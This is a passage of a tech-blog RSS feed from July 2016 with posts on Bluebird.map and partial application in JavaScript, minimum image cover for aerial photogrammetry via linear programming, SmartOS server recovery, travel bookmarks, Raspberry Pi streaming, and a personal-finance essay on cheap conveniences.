&lt;p&gt;Another option if that ugly &lt;code&gt;null&lt;/code&gt; in the &lt;code&gt;.bind&lt;/code&gt; call rubs you the wrong way would be lodash's &lt;code&gt;_.partial&lt;/code&gt; which looks like this:&lt;/p&gt;
&lt;pre class="language-js "&gt;&lt;code class="language-js"&gt;Bluebird.map(groupIds, _.partial(addToGroup, [userId]))
  .then(() =&amp;gt; {
    console.log(&amp;#x27;done&amp;#x27;)
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="lessons-learned"&gt;Lessons Learned&lt;/h2&gt;
&lt;p&gt;My take is that the implicit-return arrow function flavor: &lt;code&gt;Bluebird.map(groupIds, (groupId) =&amp;gt; addToGroup(userId, groupId))&lt;/code&gt; is the tersest you can go and still be readable to developers without much exposure to &lt;code&gt;.bind&lt;/code&gt;, which is a fairly advanced feature in regular JS codebases, although in functional programming it implements the idea of partial application, which is very commonplace and not advanced for developers accustomed to the functional programming paradigm.&lt;/p&gt;
&lt;p&gt;I think explicitly seeing that you have a function that takes a single &lt;code&gt;groupId&lt;/code&gt; argument and gets &lt;code&gt;userId&lt;/code&gt; from the parent scope is important for this to be clear, and with &lt;code&gt;.bind&lt;/code&gt; you lose that and it becomes magic.&lt;/p&gt;
&lt;p&gt;The main takeaway is that all formats of this code are exactly equivalent. It's good to be able to read and understand every variation so you are prepared if you encounter it in your coding.&lt;/p&gt;
&lt;p&gt;Thanks to &lt;a href="https://scottnonnenberg.com/"&gt;Scott Nonnenberg&lt;/a&gt; for reviewing a draft of this post!&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Tue, 26 Jul 2016 04:52:48 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/07/using-lambdas-with-bluebird-map/</guid></item><item><title>Syntax highlighting and CSS support added to wordinserter</title><link>https://tomforb.es/blog/syntax-highlighting-and-css-support-added-to-wordinserter/</link><description>I recently added syntax highlighting and support for CSS stylesheets to wordinserter , and the implementation was satisfying enough that I thought I would blog about it. Wordinserter is a library I maintain that lets you insert HTML documents/snippets into Word documents: It’s primary use case is wh...</description><author>Tom Forbes</author><pubDate>Tue, 26 Jul 2016 04:22:28 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/syntax-highlighting-and-css-support-added-to-wordinserter/</guid></item><item><title>Minimum Image Cover</title><link>https://nickp.svbtle.com/minimum-image-cover</link><description>&lt;p&gt;Some applications of photogrammetry require us to collect a number of overlapping aerial images covering an area. The more overlap the better, as more overlap in pairs of images gives us a higher result in some applications. However in other applications we are actually looking for &lt;u&gt;as few images&lt;/u&gt; as possible from the set that still cover the area of interest without any gaps.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/gab8uaudo7b2q.jpg"&gt;&lt;img alt="dji-inspire-1-drone-bh1.jpg" src="https://svbtleusercontent.com/gab8uaudo7b2q_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Framed another way - given a collection of sets, what is the minimum number of those sets that need to be selected such that their union is the union of all of the sets. The sets in our case are defined by taking each location on the ground as a &lt;code class="prettyprint"&gt;longitude,latitude&lt;/code&gt; pair and then finding the set of images that can see that location. We’ll talk about how to enumerate these locations on the ground later. This is called the set cover problem.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/vqdikmneu7pka.png"&gt;&lt;img alt="Screenshot 2016-07-25 11.53.04.png" src="https://svbtleusercontent.com/vqdikmneu7pka_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="camera-geometry_2"&gt;Camera Geometry &lt;a class="head_anchor" href="#camera-geometry_2"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before we start solving the problem lets generate a dataset of aerial imagery. In order to do that we need to represent an aerial camera at some point in space and the direction in which it is pointing. The location and orientation of the camera together are called the pose and are represented by six values - longitude, latitude, altitude, yaw, pitch and roll. The first three represent position and the last three represent orientation. In addition to this, cameras have a number of intrinsic parameters. For the purposes of our data set we are just going to consider focal length (&lt;code class="prettyprint"&gt;F&lt;/code&gt;) and sensor size. Focal length is the distance over which the camera lens focuses light onto the sensor. The shorter the focal length the wider the field of view. The longer the focal length the smaller the field of view but the higher the ground sampling distance (which is measured in centimeters per pixel). Sensor size is the size of the CCD in the camera, larger sensors (at the same resolution) can represent a larger scene. There are a few different conventions for sensor size and as a result focal length is sometimes given as &lt;u&gt;equivalent&lt;/u&gt; focal length as if the sensor were a certain size. In this case we’ll assume that our camera has a 35mm-equivalent focal length of 20mm. Which oddly (by convention) means that the sensor size is 24x36 mm. From these parameters - pose, focal length and sensor size - we can draw this diagram that describes the area on the ground (footprint) that the camera can see which is related to the field of view by the altitude.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/wneu64xxyl2jza.jpg"&gt;&lt;img alt="focal-length-fov-sensor-size.jpg" src="https://svbtleusercontent.com/wneu64xxyl2jza_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This image assumes that the camera is pointing straight down which would generate a clean rectangular footprint (rectangular because the sensor is not square). In reality this is not the case and the aircraft is bumping around and the camera is moving slightly which generates a quadrilateral footprint, also causing some perspective distortion. In order to compute the footprint accurately we can represent the camera with 3 vectors - &lt;code class="prettyprint"&gt;position&lt;/code&gt;, &lt;code class="prettyprint"&gt;lookat&lt;/code&gt; and &lt;code class="prettyprint"&gt;up&lt;/code&gt;. The &lt;code class="prettyprint"&gt;position&lt;/code&gt; vector is the location of the camera in space. The &lt;code class="prettyprint"&gt;lookat&lt;/code&gt; vector is a unit vector in the direction the camera is pointing and the &lt;code class="prettyprint"&gt;up&lt;/code&gt; vector is a unit vector out of the top of the camera to disambiguate the upside down images.  We can apply a rotation matrix computed from &lt;code class="prettyprint"&gt;roll&lt;/code&gt;, &lt;code class="prettyprint"&gt;pitch&lt;/code&gt; and &lt;code class="prettyprint"&gt;yaw&lt;/code&gt; to the &lt;code class="prettyprint"&gt;up&lt;/code&gt; and &lt;code class="prettyprint"&gt;lookat&lt;/code&gt; vectors about the camera &lt;code class="prettyprint"&gt;position&lt;/code&gt; to orientate the camera like this.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;import numpy as np

def rotate(vector, yaw, pitch, roll):
    Rotz = np.array([
        [np.cos(yaw), np.sin(yaw),  0], 
        [-np.sin(yaw), np.cos(yaw), 0],
        [0, 0 ,1]
    ])
    Rotx = np.array([
         [1, 0, 0], 
         [0, np.cos(pitch), np.sin(pitch)], 
        [0, -np.sin(pitch), np.cos(pitch)]
    ])
    Roty = np.array([
        [np.cos(roll), 0, -np.sin(roll)], 
        [0, 1, 0], 
        [np.sin(roll), 0, np.cos(roll)]
    ])
    rotation_matrix = np.dot(Rotz, np.dot(Roty, Rotx))
    return np.dot(rotation_matrix, vector)

up = array([0, 1, 0])
position = array([0, 0, 80000]) # 80 meters up
lookat = array([0, 0, -1]) # pointing down
yaw, pitch, roll = 45, 5, 5
up = rotate(up, yaw, pitch, roll)
lookat = rotate(lookat, yaw, pitch, roll)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now we have a camera pointing in the correct direction we need to compute the four corners of the footprint on the ground. We can do this geometrically by placing the camera sensor plane &lt;code class="prettyprint"&gt;F&lt;/code&gt;-mm away from the camera position in the direction of the &lt;code class="prettyprint"&gt;lookat&lt;/code&gt; and then projecting a ray from the camera position through the four corners of the sensors and into the ground. The point at which the ray intersects the ground - assuming the ground is flat (the ground is not flat) are the four corners of the footprint.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;def ground_projection(p, corners):
    k = -position[2] / (corners[2] - position[2])
    return position + (corners-position)*k
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Using this code we can generate a bunch of overlapping camera positions covering an area. Here’s a dataset of 100 images taken generated as if a DJI Phantom 4 (&lt;code class="prettyprint"&gt;F&lt;/code&gt;=3.6) was flying over a 250 square meter area at 400m. Now we can return to our set cover problem of finding the minimum number of images that cover the whole area. The whole area in this case is the union of the footprints of the individual images (right). Let’s lay a lattice over the ground to discretize the points of the grounds this is a good approximation of the ground plane and makes the problem easier to solve. (left) We’re now looking for the minimum number of images that cover all the lattice points.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/imtejvsz7xlu1q.png"&gt;&lt;img alt="Screenshot 2016-07-25 11.32.19.png" src="https://svbtleusercontent.com/imtejvsz7xlu1q_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="greedy_2"&gt;Greedy &lt;a class="head_anchor" href="#greedy_2"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First lets try a greedy approach. Select the image that covers the most uncovered lattice points and add it to your solution set. Continue this until we have covered all the lattice points. This is easy to implement and runs fast, however the result isn’t optimal and we take more images than necessary.&lt;/p&gt;
&lt;h2 id="integer-linear-programming_2"&gt;Integer Linear Programming &lt;a class="head_anchor" href="#integer-linear-programming_2"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let’s think about the problem another way. Let’s take an example with 6 position on the ground and 5 cameras. Let the 6 positions be variables &lt;code class="prettyprint"&gt;x1, x2, x3, x4, x5, x6&lt;/code&gt; and the 5 cameras are sets &lt;code class="prettyprint"&gt;s1 = {x1, x2}, s2 = {x3, x4}, s3 = {x5, s6}, s4 = {x1, x2, x3}, s5 = {x4, x5, x6}&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;[x1  x2  x3  x4  x5  x6]
[  s1  ][  s2  ][  s3  ]
[    s4    ][    s5    ]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Let’s assign an &lt;u&gt;inclusion&lt;/u&gt; variable &lt;code class="prettyprint"&gt;i1 .. i6&lt;/code&gt; to each set. We would like to minimize the sum of &lt;code class="prettyprint"&gt;i1 ... i6&lt;/code&gt; such that for each position on the ground we have included at least one of the cameras containing it. There is one constraint for each element, and also the possibility of duplicate constraints (which can be ignored) if there are two elements that are covered by the same two sets. In this case both &lt;code class="prettyprint"&gt;x1&lt;/code&gt; and &lt;code class="prettyprint"&gt;x2&lt;/code&gt; are covered by &lt;code class="prettyprint"&gt;s1&lt;/code&gt; and &lt;code class="prettyprint"&gt;s4&lt;/code&gt; hence the first two constraints are the same. Similarly for the last two.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;s1 + s4 &amp;gt;= 1
s1 + s4 &amp;gt;= 1
s2 + s4 &amp;gt;= 1
s2 + s5 &amp;gt;= 1
s3 + s5 &amp;gt;= 1
s3 + s5 &amp;gt;= 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In addition we constrain the variables &lt;code class="prettyprint"&gt;i1 ... i6&lt;/code&gt; to be &lt;code class="prettyprint"&gt;{0, 1}&lt;/code&gt; we can get an optimal solution to the problem where &lt;code class="prettyprint"&gt;s1, s2, s3 = 0&lt;/code&gt; and &lt;code class="prettyprint"&gt;s4, s5=1&lt;/code&gt; which represents the minimum set cover. In reality integer programming itself is dual to &lt;a href="https://en.wikipedia.org/wiki/Karp%27s_21_NP-complete_problems"&gt;Satisfiability&lt;/a&gt; which is NP-complete meaning we can’t easily find this solution. But we can use a trick that get us close.&lt;/p&gt;
&lt;h2 id="relaxed-linear-programming_2"&gt;Relaxed Linear Programming &lt;a class="head_anchor" href="#relaxed-linear-programming_2"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let’s relax the condition that &lt;code class="prettyprint"&gt;i1 ...i6&lt;/code&gt; need to be &lt;code class="prettyprint"&gt;{0, 1}&lt;/code&gt; and let them be floating point numbers between &lt;code class="prettyprint"&gt;0 ... 1&lt;/code&gt;. Don’t worry too much about the meaning of fractionally including an item in the set this - example with clear that up.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;[x1  x2  x3  x4  x5  x6]
[  s1  ][  s2  ][  s3  ]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If we relax the integral constraint the optimal solution &lt;code class="prettyprint"&gt;1.5&lt;/code&gt; which is &lt;code class="prettyprint"&gt;s1, s2, s3 = 0.5&lt;/code&gt;. But more importantly if we round up each of these numbers to &lt;code class="prettyprint"&gt;1&lt;/code&gt;. We still get a solution but possibly lose optimality. In this case we don’t and the rounded solution &lt;code class="prettyprint"&gt;s1, s2, s3 = 1&lt;/code&gt; is still optimal. However in our previous example&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;[x1  x2  x3  x4  x5  x6]
[  s1  ][  s2  ][  s3  ]
[    s4    ][    s5    ]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Our rounded solution is 1.5 which rounds up to 3 which is worse than the optimal integral constrained solution of 2 (using just &lt;code class="prettyprint"&gt;s4&lt;/code&gt; and &lt;code class="prettyprint"&gt;s5&lt;/code&gt;). Our task is now to find a good heuristic way to round up the fractional values. One algorithm to do this is called &lt;a href="https://en.wikipedia.org/wiki/Randomized_rounding#Randomized-rounding_algorithm_for_Set_Cover"&gt;randomize rounding&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now we can apply this to our dataset. For each lattice point we compute all the cameras that can see that location and assign that lattice point to a variables. We then set up a linear programming solver to give us a (possibly fractional solution). The code looks like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;# LP-solver
import pulp

# set up solver
problem = LpProblem("SetCover", LpMinimize)
variables = [ LpVariable("x" + str(var), 0, 1) for var in xrange(100) ]
problem += sum(variables)

# set inclusion constraints
problem += variables[0] &amp;gt;= 1
problem += variables[1] + variables[2] + variables[5] &amp;gt;= 1
...
problem += variables[3] + variables[5] + variables[5] &amp;gt;= 1
problem += variables[1] &amp;gt;= 1

GLPK().solve(problem)

# solution
for v in problem.variables():
    print 'Camera:', v.name, "=", 1 if v.varValue &amp;gt; 0 else 0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Rendering this we see that out of the 100 images we’ve needed to retain only 42 to cover the whole area. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/j43mmlnpztlhla.png"&gt;&lt;img alt="Screenshot 2016-07-25 11.52.44.png" src="https://svbtleusercontent.com/j43mmlnpztlhla_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Nicholas Pilkington</author><pubDate>Mon, 25 Jul 2016 22:24:23 GMT</pubDate><guid isPermaLink="true">https://nickp.svbtle.com/minimum-image-cover</guid></item><item><title>SmartOS Recovery mount /usbkey</title><link>https://caiustheory.com/smartos-recovery-mount-usbkey/</link><description>&lt;p&gt;Recently I managed to hose a box in a perfectly self-inflicted storm of idiocy. Imagine a SmartOS server with the following issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Root password not noted down anywhere&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usbkey/config&lt;/code&gt; edited badly, meaning the network settings are wrong&lt;/li&gt;
&lt;li&gt;Rebooting the server to apply some other settings&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Needless to say, this caused a tiny issue in the server doing what it&amp;rsquo;s supposed to. Luckily I had access to a KVM remote console for the box and the following worked.&lt;/p&gt;
&lt;p&gt;I brought the machine up, choosing the second option for recovery at the grub menu. Waited for a login prompt, then logged in with &lt;code&gt;root&lt;/code&gt;/&lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Realised quite quickly that &lt;code&gt;/usbkey&lt;/code&gt; must be persisted on the &lt;code&gt;zones&lt;/code&gt; zfs pool otherwise the configuration would be lost after shutdown, so imported the correct pool, created a directory to mount into and then mounted the zfs share.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zpool import zones
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir /usbkey
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -F zfs zones/usbkey /usbkey
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description><author>Caius Theory</author><pubDate>Mon, 25 Jul 2016 20:59:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/smartos-recovery-mount-usbkey/</guid></item><item><title>Moscow travel bookmarks</title><link>https://xenodium.com/moscow-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.drzhivago.ru/en/"&gt;Drюzhivago (restaurant)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://park-gorkogo.com/"&gt;Gorky park&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/archpng/status/1180991886674321408"&gt;Hotel Peking&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kremlin-izmailovo.com/o-kremle/kreml-segodnja"&gt;Izmailovo&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mgomz.com/"&gt;Kolomenskoe (park)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kreml.ru/en-Us/museums-moscow-kremlin"&gt;Kremlin&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://kuskovo.ru/en"&gt;Kuskovo (park)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mariinsky.ru/en/"&gt;Mariinsky (see ballet or opera)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://themoscowtimes.com/"&gt;Moskow times (check for events)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://strelka.com/en/bar"&gt;Strelka (lectures, cocktails and dances)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tarasbulba.ru/main-menu.html"&gt;Tarasbulba (food)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.tsaritsyno-museum.ru/index.php?lang=en"&gt;Tsaritsyno park&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 25 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/moscow-travel-bookmarks</guid></item><item><title>Redux vs MobX vs Flux vs... Do you even need that?</title><link>https://goshacmd.com/redux-vs-mobx-vs-flux-etoomanychoices/</link><author>Gosha Spark</author><pubDate>Mon, 25 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/redux-vs-mobx-vs-flux-etoomanychoices/</guid></item><item><title>Vietnam travel bookmarks</title><link>https://xenodium.com/vietnam-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;Can Ba Quan
&lt;ul&gt;
&lt;li&gt;Nikki Tren.&lt;/li&gt;
&lt;li&gt;Vietnamese Cajun.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lonelyplanet.com/vietnam/con-son/travel-tips-and-articles/exploring-vietnams-remote-con-dao-islands"&gt;Exploring Vietnam's remote Con Dao Islands&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vietnamonline.com/destination/hoi-an.html"&gt;Hoi An, Vietnam- Travel guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.weloveeattravel.com/list-locations-somebody-feed-phil-saigon-vietnam/"&gt;List of Locations: Somebody Feed Phil - Ho Chi Minh City, Vietnam&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Pho Bo Phu Gia
&lt;ul&gt;
&lt;li&gt;DC: 146K LY Chinh Thang.&lt;/li&gt;
&lt;li&gt;0908 208 866.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Simon Standly and Vin Dao (food journalists)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.weloveeattravel.com/list-locations-somebody-feed-phil-saigon-vietnam/"&gt;Somebody Feed Phil, List of Locations: Ho Chi Minh City&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Thuc Pham Duc Viet
&lt;ul&gt;
&lt;li&gt;Bahn Mi&lt;/li&gt;
&lt;li&gt;Pate Bu Cha&lt;/li&gt;
&lt;li&gt;Nhan Dat Bi Cha&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://saigonboy.me/another-favorite-bookstore-bookworm-hanoi"&gt;Another favorite bookstore - Bookworm Hanoi | The Saigon boy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 24 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/vietnam-travel-bookmarks</guid></item><item><title>I Accidentally Some Machine Learning - My Story of A Month of Learning Elixir</title><link>http://persumi.com/u/fredwu/tech/e/blog/p/i-accidentally-some-machine-learning-my-story-of-a-month-of-learning-elixir</link><description/><author>Fred Wu (@fredwu)</author><pubDate>Sat, 23 Jul 2016 21:33:29 GMT</pubDate><guid isPermaLink="true">http://persumi.com/u/fredwu/tech/e/blog/p/i-accidentally-some-machine-learning-my-story-of-a-month-of-learning-elixir</guid></item><item><title>Streaming using a Raspberry Pi Camera to Twitch in Full HD while injecting audio from rtl sdr</title><link>https://blog.nobugware.com/post/2016/streaming_raspberry_twitch_audio_rtl_sdr/</link><description>I have found the right setup to stream in 1080p from a Raspberry Pi using the camera to TwitchTV while injecting audio on the fly!
Create an account on Twitch and grab you stream key in the Dashboard.
This stream.sh script will create a FIFO start rtl_fm at freq 162.550M to listen to Canada weather bulletin (use your local NOAA channel) and inject and encode the audio to the existing h264 stream from the camera then stream it to twitch using rtmp.</description><author>Fabrice Aneche</author><pubDate>Sat, 23 Jul 2016 02:11:47 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/streaming_raspberry_twitch_audio_rtl_sdr/</guid></item><item><title>Cheap conveniences build wealth</title><link>http://dimitarsimeonov.com/2016/07/22/cheap-conveniences-build-wealth</link><description>&lt;p&gt;If you really want a high end electric car, and you have the money,
then you can buy a Tesla. You’ll end up paying through the nose
though. It is super expensive, and that is not just because it takes a
lot of work and resources to make. It is expensive, because Tesla
wants the profit, in order to reinvest it into energy projects.&lt;/p&gt;

&lt;p&gt;No way you can get a similar car cheaper. Unique products like Tesla
cars have no alternatives, so the people who really want their
functionality will end up paying up, even if the price is much higher
than the fair price.&lt;/p&gt;

&lt;p&gt;Rice and potatoes are commodities, because they are easy to find
everywhere for about the same price. If I am trying to sell you rice
for a hundred dollars per kilo, you will not buy it. I cannot make
much profit from any commodity, unless I sell a lot of it.&lt;/p&gt;

&lt;p&gt;Tourist attractions and museum tickets are not commodities as each
attraction is unique by definition. Some people really care about that
specific attraction, so the owners increase the &lt;code class="language-plaintext highlighter-rouge"&gt;seller profit&lt;/code&gt; as
much as possible. It traps the stupid tourists the way a sticky band
traps flies in the summer. Attracted by the shine, the tourists get
stuck there and part with a sliver of their wealth and their
spine. When the time comes to make a big decision, their softness
makes them vulnerable to the hardened tourist trappers.&lt;/p&gt;

&lt;p&gt;Tourist traps are almost always wealth traps, rice and beans are
almost never wealth traps, and Tesla cars are often wealth traps. When
we fall for wealth traps, total cost of our decisions can be as much as
the &lt;code class="language-plaintext highlighter-rouge"&gt;useful need&lt;/code&gt; because we give a lot of profit to the seller. Or
even more! When the two sides are equal, we are just spinning our
wheels to build wealth for the trappers.&lt;/p&gt;

&lt;p&gt;Why the fuck do we ever do that? Are we that stupid? No. We aren’t
that stupid, but we see things the wrong way and make errors. We are
happy to fall for wealth traps and oblivious to the exploitation,
because we are perceiving our need as very high, and think that paying
up will fix it. We don’t immediately realize that the money we are
spending were worth our hard working time. Yes, we aren’t that stupid,
we know that we can spend &lt;code class="language-plaintext highlighter-rouge"&gt;time&lt;/code&gt; and work to get &lt;code class="language-plaintext highlighter-rouge"&gt;money&lt;/code&gt;. But we don’t
fully get that it is a two way street and that we can spend &lt;code class="language-plaintext highlighter-rouge"&gt;money&lt;/code&gt;
back to get &lt;code class="language-plaintext highlighter-rouge"&gt;time&lt;/code&gt;. Instead we spend our money on bullshit.&lt;/p&gt;

&lt;p&gt;Ugh, this sounds horrible. Are such trappy products and experiences
bad for society as a whole? Not necessarily. They just shuffle wealth
around but do not immediately destroy it. A tourist trapper might be
better at managing money than the trapped tourist. Tesla invests in
research which could potentially pay off a lot. Sometimes the &lt;code class="language-plaintext highlighter-rouge"&gt;useful
need&lt;/code&gt; for the buyer is even higher than the price. If a very
productive and highly paid person buys a Tesla, the time and energy
saved when the car runs on autopilot might be worth more than the cost
of the car. It is a win-win, but it might be more like
win-WIN. Free-markets encourages producers to seek advancements in
technology in order to get an edge on other sellers and get more
profit.&lt;/p&gt;

&lt;p&gt;All-right, this doesn’t sound so horrible any more. Individual persons
can lose a bunch of their wealth in order to improve overall society
well-being and the entrepreneurs who invent new awesome products and
gather up &lt;code class="language-plaintext highlighter-rouge"&gt;seller profit&lt;/code&gt;. Yet, the small person still seems
fucked. Rich get richer as they get equity in the new enterprises, and
consumers are constantly getting fleeced from any wealth they
accumulate. Seems like a vicious cycle which promotes wealth
inequality and slow rise of the standard of living for the
poor. Capitalism, yo.&lt;/p&gt;

&lt;p&gt;Can the small guy escape? Yes. Is it easy? I don’t think so. But it is
probably not too complicated. To better dissect the topic I’m actually
going to go back and revise my wealth equation. I’ve been talking
about &lt;code class="language-plaintext highlighter-rouge"&gt;useful need&lt;/code&gt;, but really, what I’ve been meaning is
productivity. And the productivity can be split as &lt;code class="language-plaintext highlighter-rouge"&gt;need&lt;/code&gt; plus
&lt;code class="language-plaintext highlighter-rouge"&gt;convenience&lt;/code&gt;. Needs are hard and non-negotiable. Shelter and
food. Clothes and water and health. Conveniences are things we prefer
to have, but will survive without them just fine. Lets look back at
the revised wealth equation:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;wealth increase =
  + need
  + convenience
  - natural resources fair prices
  - total seller profit
  - hidden environment cost
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When we are in a tight situation, against the wall, and we’ve made
commitments, we increase our &lt;code class="language-plaintext highlighter-rouge"&gt;need&lt;/code&gt; becomes higher. This comes at the
cost of &lt;code class="language-plaintext highlighter-rouge"&gt;convenience&lt;/code&gt; by the same amount. Smart sellers know that we
cannot back out of our commitments and our need has increased and can
ask for the higher price, knowing that we will pay. If another seller
tries to compete with them and offer a cheaper, less convenient
product, that product would not satisfy the new &lt;code class="language-plaintext highlighter-rouge"&gt;need&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The way out for the poor guy is to gradually gather up wealth, which
means to make decisions, to buy products and experiences, to engage in
activities which increase wealth. If we are in the position of the
poor guy, there are multiple viable ways to do escape. We can work or
be entrepreneurial, which directly adds to our wealth. We can purchase
commodities, where a seller cannot increase the price, so we satisfy
our needs without parting away with wealth. And we can sacrifice some
&lt;code class="language-plaintext highlighter-rouge"&gt;convenience&lt;/code&gt;, when it comes too expensive, in order to get the better
deal, the one which adds to our wealth.&lt;/p&gt;

&lt;p&gt;The first two are pretty obvious. Earn more and spend less. But the
&lt;code class="language-plaintext highlighter-rouge"&gt;convenience&lt;/code&gt; trick sounds counterintuitive. Inconvenience invokes the
image of austerity measures. When I was growing up, I often heard the
phrase “the economizing is the mother of the misery”. Scary… Do we
need to live in misery and in order to save up? No. We should feel
free to spend a reasonable price for shelter, decent food, warmth and
health care. And we should get convenience when we can get it &lt;em&gt;cheaply&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Convenience is almost always overrated. Inconvenience sounds like a
loss of time and effort, and we are very loss averse, so we try to
avoid it. But the truth is that once we’ve experienced the
inconvenience, our mind starts thinking about how to overcome
it. While there is the obvious way - pay up to the trapper - there are
alternative creative solutions as well. The more we need to deal with
the inconvenience, the more economies of scale kick in and we become
more efficient. Which makes the inconvenience lower. We also adjust
our baseline perception of convenience through &lt;em&gt;hedonic
adaptation&lt;/em&gt;. More power to us, as we get to save more of our wealth.&lt;/p&gt;

&lt;p&gt;We have a choice. Whether to get expensive convenience now, or wealth
later. We will always pick at least some convenience in the present
tense.&lt;/p&gt;

&lt;p&gt;Internet is an example of something that is very convenient and
cheap. It is cheap because it is a commodity at a price similar to the
fair price to build the infrastructure for it. And it can provide a
lot of free information, services and connections. A cheap convenience
like the Internet makes the society more wealthy and prosperous. Other
cheap conveniences are bicycles, home cooked meals and to some
degree - airplane transportation.&lt;/p&gt;

&lt;p&gt;My current opinion is that learning to recognize the cheap
conveniences will make us wealthy and won’t hurt the economy and
prosperity of the society.&lt;/p&gt;</description><author>D13V</author><pubDate>Fri, 22 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/07/22/cheap-conveniences-build-wealth</guid></item><item><title>Rendering Minecraft in Renderman/RIS</title><link>https://blog.yiningkarlli.com/2016/07/minecraft-in-renderman-ris.html</link><description>&lt;p&gt;The vast majority of my computer graphics time is spent developing renderers (Disney’s Hyperion renderer as a professional, Takua Renderer as a hobbyist). However, I think having experience using renderers as an artist is an important part of knowing what to focus on as a renderer developer. I also think that knowing how a variety of different renderers work and how they are used is important; a lot of artists are used to using several different renderers, and each renderer has its own vocabulary and tried and true workflows and whatnot. Finally, there are a lot of really smart people working on all of the major production renderers out there, and seeing the cool things everyone is doing is fun and interesting! Because of all of these reasons, I like putting some time aside every once in a while to tinker with other renderers. I usually don’t write about my art projects that much anymore, 